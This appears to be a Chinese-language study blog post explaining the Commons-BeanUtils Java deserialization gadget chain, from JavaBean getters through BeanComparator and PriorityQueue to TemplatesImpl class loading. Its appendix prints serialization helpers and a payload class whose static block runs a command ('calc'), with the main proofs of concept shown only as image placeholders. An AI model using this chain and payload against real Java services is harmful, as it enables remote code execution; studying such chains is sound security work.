0x00 前言

忙活了一下午才解决了这条链子。这条链子并不难,当自己静下心细细沉思,便能发现问题存在。

静心方能得意,得意方能成事。

0x01 概述

Commons-BeanUtils与JavaBean

Apache Commons 工具集不仅有 collections,还有 BeanUtils,后者主要用来JavaBean。

何为JavaBean?

JavaBean 是一种JAVA语言写成的可重用组件,它是一个类

所谓javaBean,是指符合如下标准的Java类:

  • 类是公共的
  • 有一个无参的公共的构造器
  • 有私有属性,且须有对应的get、set方法去设置属性
  • 对于boolean类型的成员变量,允许使用”is”代替上面的”get”和”set”

比如这样一个类:

image-20250102201007610

上述的Person类包含了一个私有属性name,以及读取和设置name的两个public方法 getName和setName,即getter和setter。遵守上述规范的类就称之为JavaBean。

类似setName()这种对属性进行修改的方法,称之为属性修改器或setter方法;类似getName()这种对属性进行读取的方法则称之为称为属性访问器或getter方法。

Commons-BeanUtils利用点

Commons-BeanUtils有这么一个静态方法:PropertyUtils.getProperty():

image-20250102201843009

给定一个JavaBean对象和对应的方法,执行上述的静态方法就相当于调用给定JavaBean的getter方法。如下:

1
2
3
4
5
Person person = new Person("Mike");
PropertyUtils.getProperty(person,"name");
# 等价于
Person person = new Person("Mike");
person.getName();

那么如果某个JavaBean的getter方法可以充当调用链的一环,我们就可以利用PropertyUtils.getProperty方法对接。

0x02 构造

TemplatesImpl.getOutputProperties()

链子底层还是利用TemplatesImpl类,先回顾一下TemplatesImpl类的利用原理:

1
2
3
4
5
6
7
/*
TemplatesImpl#getOutputProperties()
TemplatesImpl#newTransformer()
TemplatesImpl#getTransletInstance()
TemplatesImpl#defineTransletClasses()
TransletClassLoader#defineClass()
*/

这部分利用链与CC链的不同之处在于最上层的调用是getOutputProperties方法,该方法正好是getter方法:

image-20250102203320447

给出对应的Poc:

image-20250102203007767

PropertyUtils.getProperty()

既然是getter方法,就可以通过PropertyUtils.getProperty方法调用:

1
2
PropertyUtils.getProperty(templates, "outputProperties");
#相当于 templates.getOutputProperties();

再寻找谁调用了PropertyUtils.getProperty方法,发现了BeanComparator.compare方法:

image-20250102204147159

成员参数property=“outputProperties”,再控制o1=templates即可。

PriorityQueue.compare

最上面这段链子是我们学过的,调用部分如此:

PriorityQueue.readObject() ->
PriorityQueue.heapify() ->
PriorityQueue.siftDown() ->
PriorityQueue.siftDownUsingComparator() ->
BeanComparator.compare()

Poc

image-20250102204914003

0x03 附录

Utils.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public class Utils {
public static void setField(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
Class clazz=object.getClass();
Field declaredField=clazz.getDeclaredField(field_name);
declaredField.setAccessible(true);
declaredField.set(object,filed_value);
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
return ois.readObject();
}
}

Calc.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package cb_test;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

# 我就是忘记Calc继承AbstractTranslet,耽误好久时间
public class Calc extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}


@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}